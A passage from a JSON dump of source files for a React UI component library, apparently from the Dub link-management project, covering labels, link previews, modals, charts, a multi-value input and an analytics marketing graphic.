    "content": "import { cn } from \"@dub/utils\";\nimport * as LabelPrimitive from \"@radix-ui/react-label\";\nimport { cva, type VariantProps } from \"class-variance-authority\";\nimport * as React from \"react\";\n\nconst labelVariants = cva(\n  \"text-sm font-medium leading-none text-content-emphasis peer-disabled:cursor-not-allowed peer-disabled:opacity-70\",\n);\n\nconst Label = React.forwardRef<\n  React.ElementRef<typeof LabelPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root> &\n    VariantProps<typeof labelVariants>\n>(({ className, ...props }, ref) => (\n  <LabelPrimitive.Root\n    ref={ref}\n    className={cn(labelVariants(), className)}\n    {...props}\n  />\n));\nLabel.displayName = LabelPrimitive.Root.displayName;\n\nexport { Label };\n"
  },
  {
    "path": "packages/ui/src/link-logo.tsx",
    "content": "import { GOOGLE_FAVICON_URL, cn } from \"@dub/utils\";\nimport { ImageProps } from \"next/image\";\nimport { BlurImage } from \"./blur-image\";\nimport { Globe2 } from \"./icons\";\n\nexport function LinkLogo({\n  apexDomain,\n  className,\n  imageProps,\n}: {\n  apexDomain?: string | null;\n  className?: string;\n  imageProps?: Partial<ImageProps>;\n}) {\n  return apexDomain ? (\n    <BlurImage\n      src={`${GOOGLE_FAVICON_URL}${apexDomain}`}\n      alt={apexDomain}\n      className={cn(\"h-8 w-8 rounded-full sm:h-10 sm:w-10\", className)}\n      width={20}\n      height={20}\n      draggable={false}\n      {...imageProps}\n    />\n  ) : (\n    <div\n      className={cn(\n        \"flex h-8 w-8 items-center justify-center rounded-full bg-neutral-100 px-0 sm:h-10 sm:w-10\",\n        className,\n      )}\n    >\n      <Globe2 className=\"h-4 w-4 text-neutral-600 sm:h-5 sm:w-5\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/link-preview.tsx",
    "content": "\"use client\";\n\nimport { fetcher, getDomainWithoutWWW, getUrlFromString } from \"@dub/utils\";\nimport { Link2 } from \"lucide-react\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useEffect, useMemo, useRef } from \"react\";\nimport useSWR from \"swr\";\nimport { useDebounce } from \"use-debounce\";\nimport { useMediaQuery } from \"./hooks\";\nimport { LoadingCircle, Photo } from \"./icons\";\n\nexport function LinkPreview({ defaultUrl }: { defaultUrl?: string }) {\n  const searchParams = useSearchParams();\n  const url =\n    defaultUrl || searchParams?.get(\"url\") || \"https://github.com/dubinc/dub\";\n  const [debouncedUrl] = useDebounce(getUrlFromString(url), 500);\n  const hostname = useMemo(() => {\n    return getDomainWithoutWWW(debouncedUrl || \"\");\n  }, [debouncedUrl]);\n\n  const { data, isValidating } = useSWR<{\n    title: string | null;\n    description: string | null;\n    image: string | null;\n  }>(\n    debouncedUrl &&\n      `/api/links/metatags?url=${encodeURIComponent(debouncedUrl)}`,\n    fetcher,\n    {\n      revalidateOnFocus: false,\n    },\n  );\n\n  const { title, description, image } = data || {};\n\n  const inputRef = useRef<HTMLInputElement>(null);\n  useEffect(() => {\n    if (!defaultUrl && inputRef.current) {\n      inputRef.current.select();\n    }\n  }, [defaultUrl]);\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <>\n      {!defaultUrl && (\n        <div className=\"relative flex items-center\">\n          <Link2 className=\"absolute inset-y-0 left-0 my-2 ml-3 w-5 text-neutral-400\" />\n          <input\n            ref={inputRef}\n            name=\"url\"\n            id=\"url\"\n            type=\"url\"\n            autoFocus={!isMobile}\n            className=\"block w-full rounded-md border-neutral-200 pl-10 text-sm text-neutral-900 placeholder-neutral-400 shadow-lg focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\"\n            placeholder=\"Enter your URL\"\n            defaultValue={url}\n            aria-invalid=\"true\"\n          />\n        </div>\n      )}\n\n      <div className=\"relative overflow-hidden rounded-md border border-neutral-300 bg-neutral-50\">\n        {isValidating && (\n          <div className=\"absolute flex h-[250px] w-full flex-col items-center justify-center space-y-4 border-b border-neutral-300 bg-neutral-50\">\n            <LoadingCircle />\n          </div>\n        )}\n        {image ? (\n          <img\n            src={image}\n            alt=\"Preview\"\n            className=\"h-[250px] w-full border-b border-neutral-300 object-cover\"\n          />\n        ) : (\n          <div className=\"flex h-[250px] w-full flex-col items-center justify-center space-y-4 border-b border-neutral-300\">\n            <Photo className=\"h-8 w-8 text-neutral-400\" />\n            <p className=\"text-sm text-neutral-400\">\n              Enter a link to generate a preview.\n            </p>\n          </div>\n        )}\n        <div className=\"grid gap-1 bg-white p-3 text-left\">\n          {hostname ? (\n            <p className=\"text-sm text-[#536471]\">{hostname}</p>\n          ) : (\n            <div className=\"mb-1 h-4 w-24 rounded-md bg-neutral-100\" />\n          )}\n          {title ? (\n            <h3 className=\"truncate text-sm font-medium text-[#0f1419]\">\n              {title}\n            </h3>\n          ) : (\n            <div className=\"mb-1 h-4 w-full rounded-md bg-neutral-100\" />\n          )}\n          {description ? (\n            <p className=\"line-clamp-2 text-sm text-[#536471]\">{description}</p>\n          ) : (\n            <div className=\"grid gap-2\">\n              <div className=\"h-4 w-full rounded-md bg-neutral-100\" />\n              <div className=\"h-4 w-48 rounded-md bg-neutral-100\" />\n            </div>\n          )}\n        </div>\n      </div>\n    </>\n  );\n}\n\nexport function LinkPreviewPlaceholder({\n  defaultUrl,\n}: {\n  defaultUrl?: string;\n}) {\n  return (\n    <>\n      <div className=\"relative flex items-center\">\n        <Link2 className=\"absolute inset-y-0 left-0 my-2 ml-3 w-5 text-neutral-400\" />\n        <input\n          name=\"url\"\n          id=\"url\"\n          type=\"url\"\n          disabled\n          className=\"block w-full rounded-md border-neutral-200 pl-10 text-sm text-neutral-900 placeholder-neutral-400 shadow-lg focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\"\n          placeholder=\"Enter your URL\"\n          defaultValue={defaultUrl || \"https://github.com/dubinc/dub\"}\n        />\n      </div>\n      <div className=\"relative overflow-hidden rounded-md border border-neutral-300 bg-neutral-50\">\n        <div className=\"absolute flex h-[250px] w-full flex-col items-center justify-center space-y-4 border-b border-neutral-300 bg-neutral-50\">\n          <LoadingCircle />\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/logo.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function Logo({ className }: { className?: string }) {\n  return (\n    <svg\n      width=\"64\"\n      height=\"64\"\n      viewBox=\"0 0 64 64\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\"h-10 w-10 text-black dark:text-white\", className)}\n    >\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M32 64C49.6731 64 64 49.6731 64 32C64 20.1555 57.5648 9.81398 48 4.28103V31.9999V47.9999H40V45.8594C37.6466 47.2208 34.9143 47.9999 32 47.9999C23.1634 47.9999 16 40.8365 16 31.9999C16 23.1634 23.1634 15.9999 32 15.9999C34.9143 15.9999 37.6466 16.7791 40 18.1404V1.00814C37.443 0.350024 34.7624 0 32 0C14.3269 0 0 14.3269 0 32C0 49.6731 14.3269 64 32 64Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/max-width-wrapper.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\n\nexport function MaxWidthWrapper({\n  className,\n  children,\n}: {\n  className?: string;\n  children: ReactNode;\n}) {\n  return (\n    <div\n      className={cn(\"mx-auto w-full max-w-screen-xl px-3 lg:px-10\", className)}\n    >\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/menu-item.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { cva } from \"class-variance-authority\";\nimport {\n  ComponentPropsWithoutRef,\n  ElementType,\n  isValidElement,\n  PropsWithChildren,\n  ReactNode,\n} from \"react\";\nimport { Icon } from \"./icons\";\nimport { DynamicTooltipWrapper } from \"./tooltip\";\n\nexport const menuItemVariants = cva(\n  [\n    \"flex h-9 w-full rounded-md px-2 items-center justify-center gap-2 transition-colors cursor-pointer\",\n    \"whitespace-nowrap text-sm font-medium text-content-default transition-colors\",\n    \"disabled:opacity-50 disabled:cursor-default\",\n  ],\n  {\n    variants: {\n      variant: {\n        default: \"text-content-default hover:bg-bg-subtle\",\n        danger: \"text-content-error hover:bg-red-50 dark:hover:bg-red-950/20\",\n      },\n      disabled: {\n        true: \"opacity-50 cursor-default text-content-disabled hover:bg-bg-default\",\n      },\n    },\n  },\n);\n\ntype MenuItemProps<T extends ElementType> = PropsWithChildren<\n  ComponentPropsWithoutRef<T>\n> & {\n  as?: T;\n} & {\n  variant?: \"default\" | \"danger\";\n  icon?: Icon | ReactNode;\n  shortcut?: string;\n  disabledTooltip?: string | ReactNode;\n};\n\nexport function MenuItem<T extends ElementType>({\n  as,\n  variant = \"default\",\n  children,\n  icon: Icon,\n  shortcut,\n  className,\n  disabledTooltip,\n  ...rest\n}: MenuItemProps<T>) {\n  const Component = as || \"button\";\n\n  return (\n    <DynamicTooltipWrapper\n      tooltipProps={{\n        content: disabledTooltip,\n      }}\n    >\n      <Component\n        {...(as === \"button\" ? { type: \"button\" } : {})}\n        className={cn(\n          menuItemVariants({ variant, disabled: !!disabledTooltip }),\n          className,\n        )}\n        disabled={disabledTooltip ? true : rest.disabled}\n        {...rest}\n      >\n        <div className=\"flex grow items-center gap-2\">\n          {Icon && (isReactNode(Icon) ? Icon : <Icon className=\"size-4\" />)}\n          {children}\n        </div>\n        {shortcut && (\n          <kbd\n            className={cn(\n              \"bg-bg-inverted/5 group-hover:bg-bg-inverted/10 hidden rounded px-2 py-0.5 text-xs font-light transition-all duration-75 md:block\",\n            )}\n          >\n            {shortcut}\n          </kbd>\n        )}\n      </Component>\n    </DynamicTooltipWrapper>\n  );\n}\n\nconst isReactNode = (element: any): element is ReactNode =>\n  isValidElement(element);\n"
  },
  {
    "path": "packages/ui/src/mini-area-chart.tsx",
    "content": "import { curveNatural } from \"@visx/curve\";\nimport { LinearGradient } from \"@visx/gradient\";\nimport { Group } from \"@visx/group\";\nimport { ParentSize } from \"@visx/responsive\";\nimport { scaleLinear, scaleUtc } from \"@visx/scale\";\nimport { Area, AreaClosed } from \"@visx/shape\";\nimport { motion } from \"motion/react\";\nimport { useId, useMemo } from \"react\";\n\nconst defaultPadding = { top: 8, right: 2, bottom: 2, left: 2 };\n\nexport type MiniAreaChartProps = {\n  data: { date: Date; value: number }[];\n  curve?: boolean;\n  color?: string;\n  padding?: Partial<typeof defaultPadding>;\n};\n\nexport function MiniAreaChart(props: MiniAreaChartProps) {\n  return (\n    <ParentSize className=\"relative\">\n      {({ width, height }) => {\n        return (\n          width > 0 &&\n          height > 0 && <MiniAreaChartInner {...{ width, height, ...props }} />\n        );\n      }}\n    </ParentSize>\n  );\n}\n\nfunction MiniAreaChartInner({\n  width,\n  height,\n  data,\n  curve = true,\n  color,\n  padding: paddingProp,\n}: MiniAreaChartProps & { width: number; height: number }) {\n  const padding = { ...defaultPadding, ...paddingProp };\n\n  const id = useId();\n\n  const zeroedData = useMemo(\n    () =>\n      data.map(({ date }) => ({\n        date,\n        value: 0,\n      })),\n    [data],\n  );\n\n  const { yScale, xScale } = useMemo(() => {\n    const values = data.map(({ value }) => value);\n    const maxY = Math.max(...values);\n\n    const dateTimes = data.map(({ date }) => date.getTime());\n    const minDate = new Date(Math.min(...dateTimes));\n    const maxDate = new Date(Math.max(...dateTimes));\n\n    return {\n      yScale: scaleLinear<number>({\n        domain: [-2, Math.max(maxY, 2)],\n        range: [height - padding.top - padding.bottom, 0],\n        nice: true,\n        clamp: true,\n      }),\n      xScale: scaleUtc<number>({\n        domain: [minDate, maxDate],\n        range: [0, width - padding.left - padding.right],\n        nice: true,\n      }),\n    };\n  }, [data, height, width]);\n\n  return (\n    <svg width={width} height={height} key={data.length}>\n      <defs>\n        <LinearGradient\n          id={`${id}-color-gradient`}\n          from={color || \"#7D3AEC\"}\n          to={color || \"#DA2778\"}\n          x1={0}\n          x2={width - padding.left - padding.right}\n          gradientUnits=\"userSpaceOnUse\"\n        />\n        <LinearGradient\n          id={`${id}-mask-gradient`}\n          from=\"white\"\n          to=\"white\"\n          fromOpacity={0.3}\n          toOpacity={0}\n          x1={0}\n          x2={0}\n          y1={0}\n          y2={1}\n        />\n        <mask id={`${id}-mask`} maskContentUnits=\"objectBoundingBox\">\n          <rect width=\"1\" height=\"1\" fill={`url(#${id}-mask-gradient)`} />\n        </mask>\n      </defs>\n      <Group left={padding.left} top={padding.top}>\n        <Area\n          data={data}\n          x={({ date }) => xScale(date)}\n          y={({ value }) => yScale(value) ?? 0}\n          curve={curve ? curveNatural : undefined}\n        >\n          {({ path }) => {\n            return (\n              <motion.path\n                initial={{ d: path(zeroedData) || \"\", opacity: 0 }}\n                animate={{ d: path(data) || \"\", opacity: 1 }}\n                strokeWidth={1.5}\n                stroke={`url(#${id}-color-gradient)`}\n              />\n            );\n          }}\n        </Area>\n\n        <AreaClosed\n          data={data}\n          x={({ date }) => xScale(date)}\n          y={({ value }) => yScale(value) ?? 0}\n          yScale={yScale}\n          curve={curve ? curveNatural : undefined}\n        >\n          {({ path }) => {\n            return (\n              <motion.path\n                initial={{ d: path(zeroedData) || \"\", opacity: 0 }}\n                animate={{ d: path(data) || \"\", opacity: 1 }}\n                fill={`url(#${id}-color-gradient)`}\n                mask={`url(#${id}-mask)`}\n              />\n            );\n          }}\n        </AreaClosed>\n      </Group>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/modal.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport * as Dialog from \"@radix-ui/react-dialog\";\nimport * as VisuallyHidden from \"@radix-ui/react-visually-hidden\";\nimport { useRouter } from \"next/navigation\";\nimport { ComponentProps, Dispatch, SetStateAction } from \"react\";\nimport { Drawer } from \"vaul\";\nimport { useMediaQuery } from \"./hooks\";\n\nexport function Modal({\n  children,\n  className,\n  showModal,\n  setShowModal,\n  onClose,\n  desktopOnly,\n  preventDefaultClose,\n  drawerRootProps,\n}: {\n  children: React.ReactNode;\n  className?: string;\n  showModal?: boolean;\n  setShowModal?: Dispatch<SetStateAction<boolean>>;\n  onClose?: () => void;\n  desktopOnly?: boolean;\n  preventDefaultClose?: boolean;\n  drawerRootProps?: ComponentProps<typeof Drawer.Root>;\n}) {\n  const router = useRouter();\n\n  const closeModal = ({ dragged }: { dragged?: boolean } = {}) => {\n    if (preventDefaultClose && !dragged) {\n      return;\n    }\n    // fire onClose event if provided\n    onClose && onClose();\n\n    // if setShowModal is defined, use it to close modal\n    if (setShowModal) {\n      setShowModal(false);\n      // else, this is intercepting route @modal\n    } else {\n      router.back();\n    }\n  };\n  const { isMobile } = useMediaQuery();\n\n  if (isMobile && !desktopOnly) {\n    return (\n      <Drawer.Root\n        open={setShowModal ? showModal : true}\n        onOpenChange={(open) => {\n          if (!open) {\n            closeModal({ dragged: true });\n          }\n        }}\n        {...drawerRootProps}\n      >\n        <Drawer.Portal>\n          <Drawer.Overlay className=\"fixed inset-0 z-50 bg-neutral-100 bg-opacity-10 backdrop-blur\" />\n          <Drawer.Content\n            onPointerDownOutside={(e) => {\n              // Prevent dismissal when clicking inside a toast\n              if (\n                e.target instanceof Element &&\n                e.target.closest(\"[data-sonner-toast]\")\n              ) {\n                e.preventDefault();\n              }\n            }}\n            className={cn(\n              \"fixed bottom-0 left-0 right-0 z-50 flex flex-col\",\n              \"rounded-t-[10px] border-t border-neutral-200 bg-white\",\n              className,\n            )}\n          >\n            <div className=\"scrollbar-hide flex-1 overflow-y-auto rounded-t-[10px] bg-inherit\">\n              <VisuallyHidden.Root>\n                <Drawer.Title>Modal</Drawer.Title>\n                <Drawer.Description>This is a modal</Drawer.Description>\n              </VisuallyHidden.Root>\n              <DrawerIsland />\n              {children}\n            </div>\n          </Drawer.Content>\n          <Drawer.Overlay />\n        </Drawer.Portal>\n      </Drawer.Root>\n    );\n  }\n\n  return (\n    <Dialog.Root\n      open={setShowModal ? showModal : true}\n      onOpenChange={(open) => {\n        if (!open) {\n          closeModal();\n        }\n      }}\n    >\n      <Dialog.Portal>\n        <Dialog.Overlay\n          // for detecting when there's an active opened modal\n          id=\"modal-backdrop\"\n          className=\"animate-fade-in fixed inset-0 z-40 bg-neutral-100 bg-opacity-50 backdrop-blur-md\"\n        />\n        <Dialog.Content\n          onOpenAutoFocus={(e) => e.preventDefault()}\n          onCloseAutoFocus={(e) => e.preventDefault()}\n          onPointerDownOutside={(e) => {\n            // Prevent dismissal when clicking inside a toast\n            if (\n              e.target instanceof Element &&\n              e.target.closest(\"[data-sonner-toast]\")\n            ) {\n              e.preventDefault();\n            }\n          }}\n          className={cn(\n            \"fixed inset-0 z-40 m-auto h-fit w-full max-w-md\",\n            \"border border-neutral-200 bg-white p-0 shadow-xl sm:rounded-2xl\",\n            \"scrollbar-hide animate-scale-in overflow-y-auto\",\n            className,\n          )}\n        >\n          <VisuallyHidden.Root>\n            <Dialog.Title>Modal</Dialog.Title>\n            <Dialog.Description>This is a modal</Dialog.Description>\n          </VisuallyHidden.Root>\n          {children}\n        </Dialog.Content>\n      </Dialog.Portal>\n    </Dialog.Root>\n  );\n}\n\nfunction DrawerIsland() {\n  return (\n    <div className=\"sticky top-0 z-20 flex items-center justify-center rounded-t-[10px] bg-inherit\">\n      <div className=\"my-3 h-1 w-12 rounded-full bg-neutral-300\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/motion-constants.tsx",
    "content": "import { MotionNodeOptions, Variants } from \"motion/react\";\n\nexport const FRAMER_MOTION_LIST_ITEM_VARIANTS = {\n  hidden: { scale: 0.8, opacity: 0 },\n  show: { scale: 1, opacity: 1, transition: { type: \"spring\" } },\n} as Variants;\n\nexport const STAGGER_CHILD_VARIANTS = {\n  hidden: { opacity: 0, y: 20 },\n  show: { opacity: 1, y: 0, transition: { duration: 0.4, type: \"spring\" } },\n} as Variants;\n\nexport const TAB_ITEM_ANIMATION_SETTINGS = {\n  initial: { opacity: 0, y: -10 },\n  animate: { opacity: 1, y: 0 },\n  exit: { opacity: 0, y: -10 },\n  transition: { duration: 0.2, type: \"easeInOut\" },\n} as unknown as MotionNodeOptions;\n"
  },
  {
    "path": "packages/ui/src/multi-value-input.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { X } from \"lucide-react\";\nimport React, {\n  useCallback,\n  useEffect,\n  useImperativeHandle,\n  useRef,\n  useState,\n} from \"react\";\n\n/**\n * Parses CSV-like pasted text: splits on commas and newlines, and respects\n * double-quoted fields (commas/newlines inside quotes are kept).\n */\nfunction parseCsvLikeValues(raw: string): string[] {\n  const result: string[] = [];\n  let current = \"\";\n  let inQuotes = false;\n\n  for (let i = 0; i < raw.length; i++) {\n    const c = raw[i];\n\n    if (c === '\"') {\n      inQuotes = !inQuotes;\n      continue;\n    }\n\n    if (!inQuotes && (c === \",\" || c === \"\\n\" || c === \"\\r\")) {\n      // Treat \\r\\n as single newline\n      if (c === \"\\r\" && raw[i + 1] === \"\\n\") i++;\n      const trimmed = current.trim();\n      if (trimmed) result.push(trimmed);\n      current = \"\";\n      continue;\n    }\n\n    current += c;\n  }\n\n  const trimmed = current.trim();\n  if (trimmed) result.push(trimmed);\n  return result;\n}\n\nexport interface MultiValueInputRef {\n  /** Commits any pending input, updates parent, and returns the full list. */\n  commitPendingInput: () => string[];\n}\n\nexport interface MultiValueInputProps {\n  values: string[];\n  onChange: (values: string[]) => void;\n  placeholder?: string;\n  id?: string;\n  className?: string;\n  inputClassName?: string;\n  disabled?: boolean;\n  autoFocus?: boolean;\n  /** Optional normalizer for each value when adding (e.g. trim + lowercase). */\n  normalize?: (value: string) => string;\n  /** Optional max number of values (no limit if omitted). */\n  maxValues?: number;\n}\n\nconst MultiValueInput = React.forwardRef<\n  MultiValueInputRef,\n  MultiValueInputProps\n>(function MultiValueInput(\n  {\n    values,\n    onChange,\n    placeholder,\n    id,\n    className,\n    inputClassName,\n    disabled,\n    normalize = (v) => v.trim(),\n    maxValues,\n    autoFocus,\n  },\n  ref,\n) {\n  const [inputValue, setInputValue] = useState(\"\");\n  const [selectedValue, setSelectedValue] = useState<string | null>(null);\n  const containerRef = useRef<HTMLDivElement>(null);\n  const inputRef = useRef<HTMLInputElement>(null);\n  const [isWrapped, setIsWrapped] = useState(false);\n\n  const addValues = useCallback(\n    (candidates: string[]) => {\n      const normalized = candidates.map(normalize).filter(Boolean);\n      if (normalized.length === 0) return values;\n      const next = [...values];\n      for (const v of normalized) {\n        if (maxValues != null && next.length >= maxValues) break;\n        next.push(v);\n      }\n      return next;\n    },\n    [values, normalize, maxValues],\n  );\n\n  /** Deduplicate preserving first occurrence order; used only on blur. */\n  const deduplicateValues = useCallback((list: string[]): string[] => {\n    const seen = new Set<string>();\n    return list.filter((v) => {\n      if (seen.has(v)) return false;\n      seen.add(v);\n      return true;\n    });\n  }, []);\n\n  const commitPendingInput = useCallback((): string[] => {\n    const parsed = parseCsvLikeValues(inputValue);\n    if (parsed.length === 0) {\n      setInputValue(\"\");\n      return values;\n    }\n    const next = addValues(parsed);\n    onChange(next);\n    setInputValue(\"\");\n    return next;\n  }, [inputValue, values, addValues, onChange]);\n\n  useImperativeHandle(\n    ref,\n    () => ({\n      commitPendingInput() {\n        return commitPendingInput();\n      },\n    }),\n    [commitPendingInput],\n  );\n\n  // Clear selection when the selected value is removed from the list\n  useEffect(() => {\n    if (selectedValue && !values.includes(selectedValue)) {\n      setSelectedValue(null);\n    }\n  }, [values, selectedValue]);\n\n  // ResizeObserver for wrapped layout\n  useEffect(() => {\n    const container = containerRef.current;\n    if (!container) return;\n\n    const checkWrapped = () => {\n      const children = Array.from(container.children) as HTMLElement[];\n      if (children.length <= 1) {\n        setIsWrapped(false);\n        return;\n      }\n      const tops = children.map((el) => el.offsetTop);\n      const firstRowTop = Math.min(...tops);\n      setIsWrapped(tops.some((top) => top - firstRowTop > 2));\n    };\n\n    checkWrapped();\n    const observer = new ResizeObserver(checkWrapped);\n    observer.observe(container);\n    return () => observer.disconnect();\n  }, [values, inputValue]);\n\n  const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {\n    const inputEl = e.currentTarget;\n    const selectedIndex = selectedValue ? values.indexOf(selectedValue) : -1;\n\n    if (e.key === \",\" || e.key === \"Enter\") {\n      e.preventDefault();\n      commitPendingInput();\n      return;\n    }\n\n    if (e.key === \"ArrowLeft\" && values.length > 0) {\n      if (selectedIndex > 0) {\n        e.preventDefault();\n        setSelectedValue(values[selectedIndex - 1]);\n        return;\n      }\n      if (\n        selectedIndex === -1 &&\n        inputEl.selectionStart === 0 &&\n        inputEl.selectionEnd === 0\n      ) {\n        e.preventDefault();\n        setSelectedValue(values[values.length - 1]);\n        return;\n      }\n    }\n\n    if (e.key === \"ArrowRight\" && selectedIndex !== -1) {\n      e.preventDefault();\n      if (selectedIndex < values.length - 1) {\n        setSelectedValue(values[selectedIndex + 1]);\n        return;\n      }\n      setSelectedValue(null);\n      return;\n    }\n\n    if (\n      (e.key === \"Backspace\" || e.key === \"Delete\") &&\n      !inputValue &&\n      values.length > 0\n    ) {\n      e.preventDefault();\n      if (selectedValue) {\n        const next = values.filter((v) => v !== selectedValue);\n        onChange(next);\n        setSelectedValue(null);\n        return;\n      }\n      setSelectedValue(values[values.length - 1]);\n    }\n\n    if (e.key === \"Tab\" && selectedValue) {\n      e.preventDefault();\n      setSelectedValue(null);\n    }\n  };\n\n  const handlePaste = (e: React.ClipboardEvent<HTMLInputElement>) => {\n    const pasted = e.clipboardData.getData(\"text\");\n    const hasDelimiter = /[,\\n\\r]/.test(pasted);\n    if (!hasDelimiter) return;\n\n    const parsed = parseCsvLikeValues(pasted);\n    if (parsed.length === 0) return;\n\n    e.preventDefault();\n    const next = addValues(parsed);\n    onChange(next);\n    setInputValue(\"\");\n  };\n\n  const handleBlur = () => {\n    setSelectedValue(null);\n    const afterCommit = commitPendingInput();\n    const deduped = deduplicateValues(afterCommit);\n    if (deduped.length !== afterCommit.length) {\n      onChange(deduped);\n    }\n  };\n\n  const removeValue = (value: string) => {\n    setSelectedValue((prev) => (prev === value ? null : prev));\n    onChange(values.filter((v) => v !== value));\n  };\n\n  return (\n    <div\n      ref={containerRef}\n      className={cn(\n        \"relative flex w-full flex-wrap items-center gap-1 rounded-md border border-neutral-300 bg-white px-1.5 shadow-sm focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\",\n        isWrapped ? \"py-[4px]\" : \"h-[38px] py-[3px]\",\n        disabled && \"cursor-not-allowed bg-neutral-50 opacity-60\",\n        className,\n      )}\n    >\n      {values.map((value, index) => (\n        <span\n          key={`${value}-${index}`}\n          onClick={() => setSelectedValue(value)}\n          className={cn(\n            \"inline-flex items-center gap-1 rounded-md py-0.5 pl-1.5 pr-1 text-sm leading-6\",\n            selectedValue === value\n              ? \"bg-neutral-300 text-neutral-900\"\n              : \"bg-neutral-100 text-neutral-900\",\n          )}\n        >\n          <span>{value}</span>\n          <button\n            type=\"button\"\n            onClick={(e) => {\n              e.stopPropagation();\n              removeValue(value);\n            }}\n            disabled={disabled}\n            className={cn(\n              \"rounded-md p-0.5 outline-none transition hover:bg-neutral-200 focus:ring-1 focus:ring-neutral-400\",\n              selectedValue === value\n                ? \"text-neutral-600 hover:text-neutral-800\"\n                : \"text-neutral-500 hover:text-neutral-700\",\n            )}\n            aria-label={`Remove ${value}`}\n          >\n            <X className=\"size-3\" strokeWidth={2.5} aria-hidden />\n          </button>\n        </span>\n      ))}\n      <div className=\"min-w-[8rem] flex-[1_1_8rem]\">\n        <input\n          ref={inputRef}\n          id={id}\n          value={inputValue}\n          onChange={(e) => {\n            setSelectedValue(null);\n            setInputValue(e.target.value);\n          }}\n          onKeyDown={handleKeyDown}\n          onBlur={handleBlur}\n          onPaste={handlePaste}\n          disabled={disabled}\n          className={cn(\n            \"h-7 w-full border-0 bg-transparent px-1.5 text-sm leading-6 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0\",\n            selectedValue &&\n              \"text-transparent caret-transparent placeholder:text-transparent\",\n            inputClassName,\n          )}\n          placeholder={placeholder}\n          type=\"text\"\n          autoComplete=\"off\"\n          autoFocus={autoFocus}\n        />\n      </div>\n    </div>\n  );\n});\n\nMultiValueInput.displayName = \"MultiValueInput\";\n\nexport { MultiValueInput };\n"
  },
  {
    "path": "packages/ui/src/nav/content/graphics/analytics-graphic.tsx",
    "content": "import { capitalize, cn } from \"@dub/utils\";\nimport { Link2 } from \"lucide-react\";\nimport { CursorRays } from \"../../../icons\";\n\nconst data = {\n  clicks: {\n    color: \"#3B82F6\",\n    value: \"12.5K\",\n  },\n  leads: {\n    color: \"#A855F7\",\n    value: \"8.2K\",\n  },\n  sales: {\n    color: \"#14B8A6\",\n    value: \"$12K\",\n  },\n};\n\nconst CUSTOMER = {\n  name: \"Danielle Wilson\",\n  email: \"danielle@dub.co\",\n  avatarIndex: 8,\n  origin: \"dub.sh\",\n  country: \"US\",\n  details: {\n    \"Lifetime value\": \"$12.5k\",\n    Account: \"Pro\",\n    Subscription: \"2y 10m\",\n  },\n};\n\nexport function AnalyticsGraphic({ className }: { className?: string }) {\n  return (\n    <div className={cn(\"pointer-events-none relative size-full\", className)}>\n      <svg\n        xmlns=\"http://www.w3.org/2000/svg\"\n        fill=\"none\"\n        viewBox=\"0 0 339 168\"\n        className=\"h-auto w-full [mask-image:linear-gradient(90deg,transparent,black_10%,black_90%,transparent)]\"\n      >\n        <path\n          stroke=\"#00BBA7\"\n          strokeWidth=\"2\"\n          d=\"m345 1-60.533 76.487a8 8 0 0 1-9.732 2.25l-25.53-12.241a8 8 0 0 0-9.214 1.657l-62.736 64.993a8 8 0 0 1-6.695 2.388L67.303 124.331a8 8 0 0 0-5.193 1.17L-3.166 166.5\"\n        />\n        <circle cx=\"259.333\" cy=\"72\" r=\"3\" fill=\"#00BBA7\" />\n        <circle\n          cx=\"259.333\"\n          cy=\"72\"\n          r=\"4\"\n          stroke=\"#3EC5B8\"\n          strokeOpacity=\"0.3\"\n          strokeWidth=\"2\"\n        />\n      </svg>\n      <div className=\"absolute bottom-0 left-5 flex items-start gap-2\">\n        {/* Data */}\n        <div className=\"border-border-default bg-bg-default w-[172px] rounded-lg border p-0\">\n          <div className=\"p-1.5\">\n            <div className=\"bg-bg-subtle border-border-subtle text-content-default hidden items-center gap-2 rounded border p-2 text-xs font-medium leading-none sm:flex\">\n              <Link2 className=\"size-3 rotate-90\" />\n              d.to/try\n            </div>\n            <div className=\"text-content-default mt-1 px-1.5 pb-0.5 text-[0.8125rem] font-medium sm:mt-2\">\n              Apr 2025\n            </div>\n          </div>\n          <div className=\"border-border-default flex flex-col gap-2 border-t p-3\">\n            {([\"clicks\", \"leads\", \"sales\"] as const).map((key) => (\n              <div\n                className=\"flex items-center justify-between gap-2\"\n                key={key}\n              >\n                <div className=\"flex items-center gap-2\">\n                  <div\n                    className=\"size-2 rounded-sm border border-black/20 bg-current opacity-70\"\n                    style={{ color: data[key].color }}\n                  />\n                  <div className=\"text-content-subtle text-xs font-medium leading-none\">\n                    {capitalize(key)}\n                  </div>\n                </div>\n                <span className=\"text-content-emphasis text-xs leading-none\">\n                  {key === \"sales\" ? \"$\" : \"\"}\n                  {data[key].value}\n                </span>\n              </div>\n            ))}\n          </div>\n        </div>\n\n        {/* Customer */}\n        <div className=\"relative\">\n          <div className=\"border-border-default bg-bg-default absolute left-0 top-0 rounded-lg border py-0.5\">\n            <div className=\"px-3 py-2.5\">\n              <div className=\"flex justify-between gap-2\">\n                <div\n                  className=\"bg-bg-emphasis size-11 rounded-full\"\n                  style={{\n                    backgroundImage:\n                      